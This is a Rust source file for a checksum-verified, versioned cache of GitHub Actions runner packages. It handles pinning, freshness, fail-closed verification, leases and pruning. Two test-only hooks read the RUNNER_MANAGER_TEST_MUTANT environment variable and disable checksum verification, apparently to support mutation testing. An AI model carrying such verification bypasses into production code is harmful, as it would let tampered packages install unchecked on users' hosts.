916            path: destination.to_path_buf(),
917            source,
918        })?;
919        Ok(written)
920    }
921}
922
923// ---------------------------------------------------------------------------
924// Pinned digests
925// ---------------------------------------------------------------------------
926
927/// Digests the operator has independently confirmed, keyed by version.
928///
929/// This is the *only* way a package with no published checksum is ever
930/// installed. It is a deliberate, named, per-version act by an operator — not a
931/// switch that turns verification off — which is the difference
932/// `05-infrastructure.md` draws between "require an operator-pinned digest" and
933/// "skip the check".
934#[derive(Debug, Clone, Default, PartialEq, Eq)]
935pub struct PinnedDigests(BTreeMap<RunnerVersion, Sha256Hex>);
936
937impl PinnedDigests {
938    #[must_use]
939    pub fn new() -> Self {
940        Self::default()
941    }
942
943    /// Pin `digest` for `version`.
944    ///
945    /// # Errors
946    /// [`PackageError::UnrecognisedVersion`] or
947    /// [`PackageError::MalformedDigest`] when either value is not well formed.
948    pub fn pin(mut self, version: &str, digest: &str) -> Result<Self, PackageError> {
949        self.0
950            .insert(RunnerVersion::parse(version)?, Sha256Hex::parse(digest)?);
951        Ok(self)
952    }
953
954    #[must_use]
955    pub fn get(&self, version: &RunnerVersion) -> Option<&Sha256Hex> {
956        self.0.get(version)
957    }
958
959    #[must_use]
960    pub fn is_empty(&self) -> bool {
961        self.0.is_empty()
962    }
963}
964
965// ---------------------------------------------------------------------------
966// Freshness
967// ---------------------------------------------------------------------------
968
969/// When a cached package stops being good enough.
970#[derive(Debug, Clone, Copy, PartialEq, Eq)]
971pub struct Freshness {
972    /// How far behind the latest release a cached entry may fall.
973    pub window: Elapsed,
974    /// How often the published version is re-checked.
975    pub check_interval: Elapsed,
976}
977
978impl Default for Freshness {
979    fn default() -> Self {
980        Self {
981            window: Elapsed::days(FRESHNESS_WINDOW_DAYS),
982            check_interval: Elapsed::hours(CHECK_INTERVAL_HOURS),
983        }
984    }
985}
986
987// ---------------------------------------------------------------------------
988// InstalledPackage
989// ---------------------------------------------------------------------------
990
991/// One immutable entry in the cache.
992#[derive(Debug, Clone, PartialEq, Eq)]
993pub struct InstalledPackage {
994    version: RunnerVersion,
995    root: PathBuf,
996    installed_at: Timestamp,
997    digest: Sha256Hex,
998}
999
1000impl InstalledPackage {
1001    #[must_use]
1002    pub fn version(&self) -> &RunnerVersion {
1003        &self.version
1004    }
1005
1006    /// The extracted package directory.
1007    ///
1008    /// **Read-only to the caller.** Every JIT runtime is a copy or a link from
1009    /// here (`05-infrastructure.md`), so a write into this directory reaches
1010    /// every runtime created afterwards. Nothing in this module can detect such
1011    /// a write after the fact; see the module documentation's seam contract.
1012    #[must_use]
1013    pub fn root(&self) -> &Path {
1014        &self.root
1015    }
1016
1017    /// When this entry landed. The freshness deadline runs from here — see
1018    /// [`PackageCache::is_stale`] for why install time is the honest proxy for
1019    /// the moment the version was superseded.
1020    #[must_use]
1021    pub const fn installed_at(&self) -> Timestamp {
1022        self.installed_at
1023    }
1024
1025    /// The digest that was verified before extraction.
1026    #[must_use]
1027    pub const fn digest(&self) -> &Sha256Hex {
1028        &self.digest
1029    }
1030}
1031
1032/// The on-disk manifest, written inside the staging directory so that it lands
1033/// with the entry in one rename.
1034#[derive(Debug, Clone, Serialize, Deserialize)]
1035struct Manifest {
1036    version: RunnerVersion,
1037    digest: Sha256Hex,
1038    installed_at: Timestamp,
1039    /// The published filename the entry was built from. Diagnostic only.
1040    filename: String,
1041}
1042
1043// ---------------------------------------------------------------------------
1044// PackageCache
1045// ---------------------------------------------------------------------------
1046
1047/// The ports [`PackageCache`] reaches the world through.
1048pub struct CachePorts {
1049    pub catalog: Arc<dyn DownloadCatalog>,
1050    pub fetcher: Arc<dyn PackageFetcher>,
1051    pub backoff: Arc<dyn Backoff>,
1052    pub clock: Arc<dyn Clock>,
1053}
1054
1055impl fmt::Debug for CachePorts {
1056    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
1057        f.debug_struct("CachePorts")
1058            .field("catalog", &self.catalog)
1059            .field("fetcher", &self.fetcher)
1060            .field("backoff", &self.backoff)
1061            .field("clock", &self.clock)
1062            .finish()
1063    }
1064}
1065
1066/// When the published version was last checked: per cache, or shared by the
1067/// caches over one package directory.
1068#[derive(Debug, Clone, Default)]
1069pub struct LastCheck(Arc<Mutex<Option<Timestamp>>>);
1070
1071/// The versioned, immutable, checksum-verified runner package cache.
1072#[derive(Debug)]
1073pub struct PackageCache {
1074    root: PathBuf,
1075    tool_cache: PathBuf,
1076    os: Os,
1077    arch: Arch,
1078    ports: CachePorts,
1079    pins: PinnedDigests,
1080    freshness: Freshness,
1081    retry_budget: u32,
1082    /// When the published version was last resolved successfully.
1083    ///
1084    /// Held in memory rather than on disk on purpose: a restart forcing a
1085    /// re-check is the *correct* behaviour — the agent has no idea how long it
1086    /// was down — so persisting this would only buy the ability to skip a check
1087    /// that should not be skipped.
1088    last_check: LastCheck,
1089}
1090
1091impl PackageCache {
1092    /// Build a cache rooted under `paths`, for a host running `os`/`arch`.
1093    ///
1094    /// `os` and `arch` are parameters rather than probed here, following
1095    /// `d1`'s pattern: `runner_manager_platform::os::detect_host` is called once
1096    /// at the composition edge, and everything below takes the pair as a value.
1097    /// That is the whole injection seam — there is no host-probe trait — and it
1098    /// is what lets a Linux CI leg exercise the Windows selection path.
1099    #[must_use]
1100    pub fn new(paths: &AppPaths, os: Os, arch: Arch, ports: CachePorts) -> Self {
1101        Self {
1102            root: paths.state_dir().join(PACKAGES_DIR),
1103            tool_cache: paths.state_dir().join(TOOL_CACHE_DIR),
1104            os,
1105            arch,
1106            ports,
1107            pins: PinnedDigests::new(),
1108            freshness: Freshness::default(),
1109            retry_budget: RETRY_BUDGET,
1110            last_check: LastCheck::default(),
1111        }
1112    }
1113
1114    #[must_use]
1115    pub fn with_pins(mut self, pins: PinnedDigests) -> Self {
1116        self.pins = pins;
1117        self
1118    }
1119
1120    #[must_use]
1121    pub const fn with_freshness(mut self, freshness: Freshness) -> Self {
1122        self.freshness = freshness;
1123        self
1124    }
1125
1126    /// Shares when the published version was last checked with other caches.
1127    #[must_use]
1128    pub fn with_last_check(mut self, last_check: LastCheck) -> Self {
1129        self.last_check = last_check;
1130        self
1131    }
1132
1133    /// Override the retry budget. Zero is rejected in favour of one attempt,
1134    /// because a cache that never attempts anything is not a cache.
1135    #[must_use]
1136    pub const fn with_retry_budget(mut self, budget: u32) -> Self {
1137        self.retry_budget = if budget == 0 { 1 } else { budget };
1138        self
1139    }
1140
1141    /// The cache root. Nothing outside this module writes here.
1142    #[must_use]
1143    pub fn root(&self) -> &Path {
1144        &self.root
1145    }
1146
1147    /// Where approved tool caches are retained.
1148    ///
1149    /// A sibling of the package entries, not a child: an entry is immutable and
1150    /// a tool cache is by definition written to. Both are retained across
1151    /// attempts, and both are outside [`AppPaths::runtime_dir`], which is where
1152    /// disposable job workspaces live — that is the separation
1153    /// `05-infrastructure.md` asks for.
1154    #[must_use]
1155    pub fn tool_cache_dir(&self) -> &Path {
1156        &self.tool_cache
1157    }
1158
1159    // -- installation ------------------------------------------------------
1160
1161    /// Install the published package afresh, setting every entry aside first.
1162    ///
1163    /// For a caller that cannot trust what is on disk. An entry is owned by the
1164    /// account runners execute as, so a job can rewrite it, and the published
1165    /// digest covers the archive rather than the extracted tree, so nothing can
1166    /// re-verify an entry after the fact. What this returns was downloaded and
1167    /// checked against GitHub's digest by this call, and it is the only entry
1168    /// left. The entries set aside are removed once it returns.
1169    ///
1170    /// The install is forced: an entry that reappears at the published
1171    /// version's path while this runs, as one a job recreated would, is set
1172    /// aside in turn rather than adopted.
1173    ///
1174    /// # Errors
1175    /// Those of [`Self::ensure_installed`], and an I/O failure setting an entry
1176    /// aside. Either way the cache may now be empty, which the next launch's
1177    /// install repairs.
1178    pub async fn reinstall(&self) -> Result<InstalledPackage, PackageError> {
1179        let staging_root = self.staging_root();
1180        create_dir_all(&staging_root)?;
1181        let mut set_aside = Vec::new();
1182        for entry in self.installed()? {
1183            set_aside.push(self.set_aside(entry.root())?);
1184        }
1185        let installed = self.install(true).await;
1186        // Removing ~9,000 files per tree is blocking work, kept off the
1187        // daemon's current-thread runtime. Not awaited: nothing depends on it,
1188        // and the caller has a new tree to fingerprint before a job touches it.
1189        tokio::task::spawn_blocking(move || drop(set_aside));
1190        installed.map(|(package, _)| package)
1191    }
1192
1193    /// Move `root` into staging, to be removed when the guard drops.
1194    fn set_aside(&self, root: &Path) -> Result<StagingGuard, PackageError> {
1195        let aside = self
1196            .staging_root()
1197            .join(format!("untrusted-{}", uuid::Uuid::new_v4()));
1198        fs::rename(root, &aside).map_err(|source| PackageError::Io {
1199            what: "set aside a runner package to reinstall it",
1200            path: root.to_path_buf(),
1201            source,
1202        })?;
1203        Ok(StagingGuard::new(aside))
1204    }
1205
1206    /// Make a verified runner package available, and answer which one.
1207    ///
1208    /// **This is the cold-start path.** It decides three things in order:
1209    ///
1210    /// 1. Is this host one the product documents? An undocumented pair is
1211    ///    refused here, before the catalog is consulted and long before
1212    ///    anything is downloaded.
1213    /// 2. Is a check due? The published version is re-checked on
1214    ///    [`Freshness::check_interval`], and always when the cache is empty. A
1215    ///    cold start inside that interval reuses what a previous one resolved,
1216    ///    which is what "a bounded interval" buys.
1217    /// 3. Is what we hold still good enough? See [`Self::is_stale`].
1218    ///
1219    /// # Errors
1220    /// Any [`PackageError`]. A terminal one is returned on the spot and spends
1221    /// none of the retry budget; a retryable one is retried up to
1222    /// [`Self::with_retry_budget`] times and then wrapped in
1223    /// [`PackageError::Exhausted`].
1224    pub async fn ensure_installed(&self) -> Result<InstalledPackage, PackageError> {
1225        self.ensure_installed_reporting()
1226            .await
1227            .map(|(package, _)| package)
1228    }
1229
1230    /// [`Self::ensure_installed`], and whether this call downloaded, verified
1231    /// and committed the entry it returns rather than finding one on disk.
1232    ///
1233    /// # Errors
1234    /// Those of [`Self::ensure_installed`].
1235    pub async fn ensure_installed_reporting(
1236        &self,
1237    ) -> Result<(InstalledPackage, bool), PackageError> {
1238        self.install(false).await
1239    }
1240
1241    /// The body of [`Self::ensure_installed`]; `force` skips every reuse of an
1242    /// entry already on disk, for [`Self::reinstall`].
1243    async fn install(&self, force: bool) -> Result<(InstalledPackage, bool), PackageError> {
1244        // Before the catalog, before the fetcher, before anything touches the
1245        // network: an unsupported pair has no package and never will.
1246        host_os::validate(self.os, self.arch)?;
1247
1248        if !force && let Some(entry) = self.reusable()? {
1249            return Ok((entry, false));
1250        }
1251
1252        let mut last: Option<PackageError> = None;
1253        for attempt in 1..=self.retry_budget {
1254            match self.install_once(force).await {
1255                Ok(package) => {
1256                    *self
1257                        .last_check
1258                        .0
1259                        .lock()
1260                        .unwrap_or_else(std::sync::PoisonError::into_inner) =
1261                        Some(self.ports.clock.now());
1262                    return Ok(package);
1263                }
1264                Err(error) if error.is_terminal() => return Err(error),
1265                Err(error) => {
1266                    last = Some(error);
1267                    if attempt < self.retry_budget {
1268                        self.ports.backoff.wait(attempt).await;
1269                    }
1270                }
1271            }
1272        }
1273        Err(PackageError::Exhausted {
1274            attempts: self.retry_budget,
1275            source: Box::new(last.expect("a spent budget leaves a failure behind")),
1276        })
1277    }
1278
1279    /// Whether a cached entry has fallen outside the freshness window.
1280    ///
1281    /// # Why install time, and why this is the fail-closed direction
1282    ///
1283    /// GitHub's rule is about the *release*: a runner more than
1284    /// [`FRESHNESS_WINDOW_DAYS`] days behind the latest one is refused. The
1285    /// agent cannot see release dates — GitHub's runner-downloads response
1286    /// carries no version field, let alone a publication timestamp — so the
1287    /// supersession moment has to be bounded rather than read.
1288    ///
1289    /// It can be bounded exactly. This cache only ever installs the version
1290    /// GitHub was publishing at the time, so an entry installed at `T` *was*
1291    /// the latest release at `T`. Whatever superseded it did so at some
1292    /// `R >= T`, hence `now - R <= now - T`. So:
1293    ///
1294    /// * `now - T <= window` proves `now - R <= window`: the entry cannot be
1295    ///   past the deadline, and reusing it is safe.
1296    /// * `now - T > window` proves nothing either way, so the entry is treated
1297    ///   as stale and refreshed.
1298    ///
1299    /// The error is therefore always toward refreshing early, never toward
1300    /// running a package GitHub will refuse. Refreshing early costs a download;
1301    /// refreshing late costs every job on the host, for a reason the operator
1302    /// has no way to guess.
1303    #[must_use]
1304    pub fn is_stale(&self, package: &InstalledPackage, now: Timestamp) -> bool {
1305        now.signed_duration_since(package.installed_at) > self.freshness.window
1306    }
1307
1308    /// The entry an install would return without asking anybody, if no check
1309    /// is due: it neither looks anything up nor changes anything.
1310    pub(crate) fn reusable(&self) -> Result<Option<InstalledPackage>, PackageError> {
1311        host_os::validate(self.os, self.arch)?;
1312        if self.check_is_due(self.ports.clock.now())? {
1313            return Ok(None);
1314        }
1315        self.newest_installed()
1316    }
1317
1318    /// Whether the published version is due to be re-checked.
1319    ///
1320    /// Three ways to answer yes, and the third is the one that matters:
1321    ///
1322    /// 1. The cache is empty, so there is nothing to reuse.
1323    /// 2. [`Freshness::check_interval`] has elapsed — the bounded interval
1324    ///    `05-infrastructure.md` asks for.
1325    /// 3. **What we hold is already past the freshness deadline.** A stale entry
1326    ///    forces a check on every cold start regardless of the interval, because
1327    ///    the interval exists to save REST budget and there is no budget worth
1328    ///    saving once the package on disk is one GitHub may refuse. The interval
1329    ///    being far shorter than the window makes this rare in practice; it is
1330    ///    written down so that the rare case is the safe one rather than the
1331    ///    unconsidered one.
1332    fn check_is_due(&self, now: Timestamp) -> Result<bool, PackageError> {
1333        let Some(newest) = self.newest_installed()? else {
1334            return Ok(true);
1335        };
1336        if self.is_stale(&newest, now) {
1337            return Ok(true);
1338        }
1339        let last = *self
1340            .last_check
1341            .0
1342            .lock()
1343            .unwrap_or_else(std::sync::PoisonError::into_inner);
1344        Ok(match last {
1345            None => true,
1346            Some(at) => now.signed_duration_since(at) >= self.freshness.check_interval,
1347        })
1348    }
1349
1350    /// One attempt: resolve, decide, and install if a download is warranted.
1351    async fn install_once(&self, force: bool) -> Result<(InstalledPackage, bool), PackageError> {
1352        let published = self.ports.catalog.published().await?;
1353
1354        // Selection: this host's OS and architecture, from GitHub's metadata.
1355        // `select` answering `None` is refused rather than fallen back from —
1356        // a hardcoded URL is the substitution `07-security.md` names as the
1357        // threat.
1358        let download =
1359            published
1360                .select(self.os, self.arch)
1361                .ok_or(PackageError::NoPackagePublished {
1362                    os: self.os,
1363                    arch: self.arch,
1364                })?;
1365        let version = RunnerVersion::from_filename(&download.filename)?;
1366
1367        // Already held: no fetch, no extraction, no rewrite.
1368        if !force && let Some(entry) = self.entry(&version)? {
1369            return Ok((entry, false));
1370        }
1371
1372        // A different version is published. Whether that warrants 150-300 MB is
1373        // the freshness question, and only that question.
1374        let now = self.ports.clock.now();
1375        if !force
1376            && let Some(newest) = self.newest_installed()?
1377            && !self.is_stale(&newest, now)
1378        {
1379            return Ok((newest, false));
1380        }
1381
1382        let digest = self.required_digest(download, &version)?;
1383        self.download_verify_and_install(download, &version, &digest, now, force)
1384            .await
1385    }
1386
1387    /// The digest that must match, or a refusal.
1388    ///
1389    /// This is the fail-closed gate. `sha256_checksum` is optional in GitHub's
1390    /// schema, and the only two acceptable outcomes when it is unusable are an
1391    /// operator-pinned digest or a refusal to install. There is no third.
1392    ///
1393    /// # Every unusable shape routes to the same remedy
1394    ///
1395    /// Absent, empty, and *malformed* are all "GitHub did not give me a digest
1396    /// I can check", and all three fall through to the pin. Malformed used to
1397    /// return immediately instead, which produced a refusal whose message told
1398    /// the operator to pin a digest — down a path where a pin was never
1399    /// consulted. A security refusal that names a remedy has to name one that
1400    /// works, or the operator does the work and watches it fail again.
1401    fn required_digest(
1402        &self,
1403        download: &RunnerDownload,
1404        version: &RunnerVersion,
1405    ) -> Result<Sha256Hex, PackageError> {
1406        let published = match download.sha256_checksum() {
1407            None => PublishedChecksum::Absent,
1408            Some(raw) if raw.trim().is_empty() => PublishedChecksum::Empty,
1409            Some(raw) => match Sha256Hex::parse(raw) {
1410                Ok(digest) => return Ok(digest),
1411                Err(_) => PublishedChecksum::Malformed,
1412            },
1413        };
1414        #[cfg(test)]
1415        if std::env::var("RUNNER_MANAGER_TEST_MUTANT").as_deref() == Ok("accept_missing_checksum") {
1416            return Sha256Hex::parse(&"00".repeat(32));
1417        }
1418        match self.pins.get(version) {
1419            Some(pinned) => Ok(pinned.clone()),
1420            None => Err(PackageError::ChecksumAbsent {
1421                version: version.clone(),
1422                os: self.os,
1423                arch: self.arch,
1424                published,
1425            }),
1426        }
1427    }
1428
1429    /// Fetch, verify, extract, commit. In that order, without exception.
1430    ///
1431    /// # Why the downloaded file is not inside the guarded staging directory
1432    ///
1433    /// [`StagingGuard`] covers the *extraction* directory from the point the
1434    /// archive has been verified and unpacked to the point the entry lands —
1435    /// the manifest write and the rename. It does **not** cover a fetch,
1436    /// verification or extraction failure: the guard is not constructed until
1437    /// after those succeed, so a half-unpacked tree from one of them is left
1438    /// for [`Self::sweep_staging`] rather than unwound here. That is a
1439    /// deliberately narrow reach, and stating it wider than it is would be the
1440    /// sort of claim a reader relies on and a crash disproves.
1441    ///
1442    /// Putting the download under that directory would have made "the partially
1443    /// downloaded file is removed" true for a reason no test could distinguish
1444    /// from tidying up — the guard would remove the archive on the paths it
1445    /// does cover, whether or not the mismatch path ever did, so deleting the
1446    /// removal would not turn any test red. The archive therefore lives
1447    /// beside the extraction directory with its lifetime managed explicitly, at
1448    /// exactly one place below, and [`Self::sweep_staging`] is the backstop for
1449    /// a crash rather than the mechanism.
1450    async fn download_verify_and_install(
1451        &self,
1452        download: &RunnerDownload,
1453        version: &RunnerVersion,
1454        expected: &Sha256Hex,
1455        now: Timestamp,
1456        force: bool,
1457    ) -> Result<(InstalledPackage, bool), PackageError> {
1458        let (_, kind) = ArchiveKind::split(&download.filename)?;
1459        let staging_root = self.staging_root();
1460        create_dir_all(&staging_root)?;
1461        let token = uuid::Uuid::new_v4();
1462        let archive = staging_root.join(format!("download-{token}.archive"));
1463        let extracted = staging_root.join(token.to_string());
1464
1465        let outcome = self
1466            .fetch_verify_extract(download, version, expected, kind, &archive, &extracted)
1467            .await;
1468
1469        // The downloaded file is not part of an entry on ANY path out of here —
1470        // verified, unverified, or interrupted mid-extraction. One removal,
1471        // reached unconditionally, is what makes that a property rather than a
1472        // hope spread over four early returns.
1473        let removed = remove_file_if_present(&archive, "remove the package download");
1474        let () = outcome?;
1475        removed?;
1476
1477        let guard = StagingGuard::new(extracted.clone());
1478        let manifest = Manifest {
1479            version: version.clone(),
1480            digest: expected.clone(),
1481            installed_at: now,
1482            filename: download.filename.clone(),
1483        };
1484        write_json(&extracted.join(MANIFEST_FILE), &manifest)?;
1485
1486        let target = self.version_dir(version);
1487        create_dir_all(&self.root)?;
1488
1489        // A forced install trusts nothing already at the target, which a job
1490        // may have put there since the reinstall set the old entries aside.
1491        let _displaced = if force && fs::symlink_metadata(&target).is_ok() {
1492            Some(self.set_aside(&target)?)
1493        } else {
1494            None
1495        };
1496
1497        // The single commit point. `rename` onto an existing directory fails on
1498        // Windows and replaces nothing on Unix, and either way the answer is the
1499        // same: someone already installed this version, and an installed entry
1500        // is never overwritten. A forced install adopts nothing and fails.
1501        match fs::rename(&extracted, &target) {
1502            Ok(()) => {}
1503            Err(source) => {
1504                if !force && let Some(entry) = self.entry(version)? {
1505                    guard.disarm_into_sweep();
1506                    return Ok((entry, false));
1507                }
1508                return Err(PackageError::Io {
1509                    what: "commit the extracted runner package",
1510                    path: target,
1511                    source,
1512                });
1513            }
1514        }
1515        guard.disarm_into_sweep();
1516
1517        Ok((
1518            InstalledPackage {
1519                version: version.clone(),
1520                root: target,
1521                installed_at: now,
1522                digest: expected.clone(),
1523            },
1524            true,
1525        ))
1526    }
1527
1528    /// Everything between the fetch and the commit: the ordering this module
1529    /// exists to enforce.
1530    ///
1531    /// Split out from its caller so that the downloaded file has exactly one
1532    /// removal site regardless of which of these steps failed.
1533    async fn fetch_verify_extract(
1534        &self,
1535        download: &RunnerDownload,
1536        version: &RunnerVersion,
1537        expected: &Sha256Hex,
1538        kind: ArchiveKind,
1539        archive: &Path,
1540        extracted: &Path,
1541    ) -> Result<(), PackageError> {
1542        self.ports
1543            .fetcher
1544            .fetch(&download.download_url, archive)
1545            .await?;
1546
1547        // Verification, before extraction. Nothing between these two statements
1548        // may ever unpack anything.
1549        let archive_for_hash = archive.to_path_buf();
1550        let actual = tokio::task::spawn_blocking(move || sha256_file(&archive_for_hash))
1551            .await
1552            .map_err(|error| PackageError::Extract {
1553                detail: format!("the verification task failed: {error}"),
1554            })??;
1555
1556        #[cfg(test)]
1557        let checksum_matches = std::env::var("RUNNER_MANAGER_TEST_MUTANT").as_deref()
1558            == Ok("skip_checksum_comparison")
1559            || actual == *expected;
1560        #[cfg(not(test))]
1561        let checksum_matches = actual == *expected;
1562        if !checksum_matches {
1563            return Err(PackageError::ChecksumMismatch {
1564                version: version.clone(),
1565                expected: expected.clone(),
1566                actual,
1567            });
1568        }
1569
1570        let archive_for_extract = archive.to_path_buf();
1571        let extracted_for_task = extracted.to_path_buf();
1572        tokio::task::spawn_blocking(move || {
1573            extract(&archive_for_extract, kind, &extracted_for_task)
1574        })
1575        .await
1576        .map_err(|error| PackageError::Extract {
1577            detail: format!("the extraction task failed: {error}"),
1578        })?
1579    }
1580
1581    // -- reading the cache -------------------------------------------------
1582
1583    fn version_dir(&self, version: &RunnerVersion) -> PathBuf {
1584        self.root.join(version.as_str())
1585    }
1586
1587    /// One entry, if it is installed and complete.
1588    ///
1589    /// A directory with no readable manifest is *not* an entry: the manifest
1590    /// lands with the directory in a single rename, so its absence means the
1591    /// directory was not produced by this module and nothing may be assumed
1592    /// about its contents.
1593    ///
1594    /// # Errors
1595    /// [`PackageError::Io`] when the cache cannot be read.
1596    pub fn entry(&self, version: &RunnerVersion) -> Result<Option<InstalledPackage>, PackageError> {
1597        let root = self.version_dir(version);
1598        if !root.is_dir() {
1599            return Ok(None);
1600        }
1601        let Some(manifest) = read_json::<Manifest>(&root.join(MANIFEST_FILE))? else {
1602            return Ok(None);
1603        };
1604        Ok(Some(InstalledPackage {
1605            version: manifest.version,
1606            root,
1607            installed_at: manifest.installed_at,
1608            digest: manifest.digest,
1609        }))
1610    }
1611
1612    /// Every complete entry, oldest version first.
1613    ///
1614    /// # Errors
1615    /// [`PackageError::Io`] when the cache directory cannot be read.
1616    pub fn installed(&self) -> Result<Vec<InstalledPackage>, PackageError> {
1617        let mut found = Vec::new();
1618        let entries = match fs::read_dir(&self.root) {
1619            Ok(entries) => entries,
1620            Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(found),
1621            Err(source) => {
1622                return Err(PackageError::Io {
1623                    what: "read the runner package cache",
1624                    path: self.root.clone(),
1625                    source,
1626                });
1627            }
1628        };
1629        for entry in entries {
1630            let entry = entry.map_err(|source| PackageError::Io {
1631                what: "read the runner package cache",
1632                path: self.root.clone(),
1633                source,
1634            })?;
1635            let name = entry.file_name();
1636            let Some(name) = name.to_str() else { continue };
1637            // `.staging` and `.leases` are not versions, and `RunnerVersion`
1638            // could not parse them anyway; skipping them explicitly keeps the
1639            // intent visible.
1640            if name.starts_with('.') {
1641                continue;
1642            }
1643            let Ok(version) = RunnerVersion::parse(name) else {
1644                continue;
1645            };
1646            if let Some(package) = self.entry(&version)? {
1647                found.push(package);
1648            }
1649        }
1650        found.sort_by(|a, b| a.version.cmp(&b.version));
1651        Ok(found)
1652    }
1653
1654    /// The most recently installed entry, which is the one a cold start reuses.
1655    pub(crate) fn newest_installed(&self) -> Result<Option<InstalledPackage>, PackageError> {
1656        Ok(self
1657            .installed()?
1658            .into_iter()
1659            .max_by_key(|package| package.installed_at))
1660    }
1661
1662    // -- leases and pruning ------------------------------------------------
1663
1664    fn leases_dir(&self) -> PathBuf {
1665        self.root.join(LEASES_DIR)
1666    }
1667
1668    fn lease_path(&self, attempt: AttemptId) -> PathBuf {
1669        self.leases_dir()
1670            .join(format!("{attempt}.{LEASE_EXTENSION}"))
1671    }
1672
1673    /// Record that `attempt` holds `version`, so a prune cannot remove it.
1674    ///
1675    /// Two refusals, both structural:
1676    ///
1677    /// * A version that is not installed cannot be held.
1678    /// * An attempt whose runtime directory is **inside the cache root** is
1679    ///   refused outright. Job workspaces are disposable and per-attempt; a
1680    ///   package entry is shared and immutable. A workspace nested in one would
1681    ///   be destroyed the moment that version was pruned, and would mutate an
1682    ///   entry that every other runtime is copied from. This is checked rather
1683    ///   than documented because a documented invariant with no enforcement is
1684    ///   how the property silently stops holding.
1685    ///
1686    /// The lease survives a restart — it is a file, not a field — which is what
1687    /// makes the guard meaningful across the agent's own lifetime.
1688    ///
1689    /// # Errors
1690    /// [`PackageError::NotInstalled`], [`PackageError::WorkspaceInsideCache`],
1691    /// or [`PackageError::Io`].
1692    pub fn lease(
1693        &self,
1694        attempt: &RunnerAttempt,
1695        version: &RunnerVersion,
1696    ) -> Result<(), PackageError> {
1697        if self.entry(version)?.is_none() {
1698            return Err(PackageError::NotInstalled {
1699                version: version.clone(),
1700            });
1701        }
1702        let runtime = attempt.runtime_path();
1703        if is_inside(&self.root, runtime) {
1704            return Err(PackageError::WorkspaceInsideCache {
1705                attempt: attempt.id,
1706                path: runtime.to_path_buf(),
1707            });
1708        }
1709        create_dir_all(&self.leases_dir())?;
1710        write_json(
1711            &self.lease_path(attempt.id),
1712            &Lease {
1713                version: version.clone(),
1714            },
1715        )
1716    }
1717
1718    /// Drop `attempt`'s hold, whatever it was holding.
1719    ///
1720    /// Idempotent: releasing a lease that was never taken is not an error, so a
1721    /// cleanup path may call it unconditionally.
1722    ///
1723    /// # Errors
1724    /// [`PackageError::Io`] when the lease file cannot be removed.
1725    pub fn release(&self, attempt: AttemptId) -> Result<(), PackageError> {
1726        let path = self.lease_path(attempt);
1727        match fs::remove_file(&path) {
1728            Ok(()) => Ok(()),
1729            Err(source) if source.kind() == io::ErrorKind::NotFound => Ok(()),
1730            Err(source) => Err(PackageError::Io {
1731                what: "release a runner package lease",
1732                path,
1733                source,
1734            }),
1735        }
1736    }
1737
1738    /// Every attempt currently holding `version`.
1739    ///
1740    /// # Errors
1741    /// [`PackageError::Io`] when the lease directory cannot be read.
1742    pub fn holders(&self, version: &RunnerVersion) -> Result<Vec<AttemptId>, PackageError> {
1743        let mut holders = Vec::new();
1744        let dir = self.leases_dir();
1745        let entries = match fs::read_dir(&dir) {
1746            Ok(entries) => entries,
1747            Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(holders),
1748            Err(source) => {
1749                return Err(PackageError::Io {
1750                    what: "read the runner package leases",
1751                    path: dir,
1752                    source,
1753                });
1754            }
1755        };
1756        for entry in entries {
1757            let entry = entry.map_err(|source| PackageError::Io {
1758                what: "read the runner package leases",
1759                path: dir.clone(),
1760                source,
1761            })?;
1762            let path = entry.path();
1763            if path.extension().and_then(|e| e.to_str()) != Some(LEASE_EXTENSION) {
1764                continue;
1765            }
1766            // Everything below refuses rather than skips.
1767            //
1768            // A `.lease` file this module cannot make sense of is not "no
1769            // lease" — it is a lease whose holder is unknown, and treating the
1770            // two alike is the one fail-OPEN path in an otherwise fail-closed
1771            // guard. It would also be among the easiest to reach: a lease is
1772            // written non-atomically, so a crash mid-write leaves exactly this
1773            // shape, and the consequence is deleting the package a live runner
1774            // is executing from.
1775            if let Some(holder) = holder_of(&path, version)? {
1776                holders.push(holder);
1777            }
1778        }
1779        holders.sort_unstable();
1780        Ok(holders)
1781    }
1782
1783    /// Remove a cached version, if nothing active still references it.
1784    ///
1785    /// `attempts` is the host's attempt set — the same set
1786    /// `RunnerLauncher::attempts` answers, terminal entries included, because
1787    /// both questions are asked of one set. Each lease on `version` is resolved
1788    /// against it:
1789    ///
1790    /// | Lease's attempt | Outcome |
1791    /// |---|---|
1792    /// | present and non-terminal | **refused** — [`PackageError::VersionInUse`] |
1793    /// | present and terminal | released, and the prune proceeds |
1794    /// | absent from the set | **refused** — [`PackageError::VersionHeldByUnknownAttempt`] |
1795    ///
1796    /// # Why an absent attempt refuses rather than releases
1797    ///
1798    /// It would be tidier to read "not in the set" as "gone", and it would be
1799    /// wrong. `e1` documents that a launcher's newly created attempt may not be
1800    /// visible to `attempts()` yet — a journal write that has not landed, an
1801    /// asynchronous store, a cache — and that lag is exactly the window in
1802    /// which a just-leased version would look unreferenced. Deleting a package
1803    /// out from under a starting runner is not a condition the runner can
1804    /// report intelligibly, so the ambiguous case fails closed. The cost is a
1805    /// version that stays on disk until [`Self::release`] is called for a lease
1806    /// nobody will ever release; the error names that remedy.
1807    ///
1808    /// **The guard is only as truthful as the caller's leases.** This function
1809    /// can refuse to prune something it knows is held; it cannot discover a
1810    /// reference nobody recorded. See the module documentation's seam contract.
1811    ///
1812    /// # A window this function does not close, recorded deliberately
1813    ///
1814    /// [`Self::lease`] and this method both take `&self` on a `Send + Sync`
1815    /// type and take no lock between them. A `lease` that passes its own
1816    /// `entry()` check can therefore be written *after* this method has read
1817    /// [`Self::holders`] and *before* it removes the directory, leaving a live
1818    /// attempt holding a package that is gone. Nothing here detects that.
1819    ///
1820    /// **What makes it safe is the caller's hold on the trees, and nothing this
1821    /// module could add.** A `Mutex` of its own would not help, and saying it
1822    /// was declined merely to avoid "a second ordering to get wrong" overstated
1823    /// the alternative: a leaf mutex taken and released inside two synchronous
1824    /// `&self` methods cannot span the caller's decide-then-launch sequence, so
1825    /// it could not order a lease against a prune even in principle. The window
1826    /// is between *callers*, and only a lock the caller already holds across
1827    /// both can close it.
1828    ///
1829    /// So the requirement is on the caller: **prune under the exclusive hold of
1830    /// the trees, and lease under at least a shared one**
1831    /// (`crate::lifecycle::SharedPackages`). A launch keeps its hold from the
1832    /// copy through its lease, which makes this method's read-then-remove
1833    /// indivisible with respect to every lease this agent creates. It says
1834    /// nothing about a second agent on the same machine; the single-instance
1835    /// lock is what prevents that.
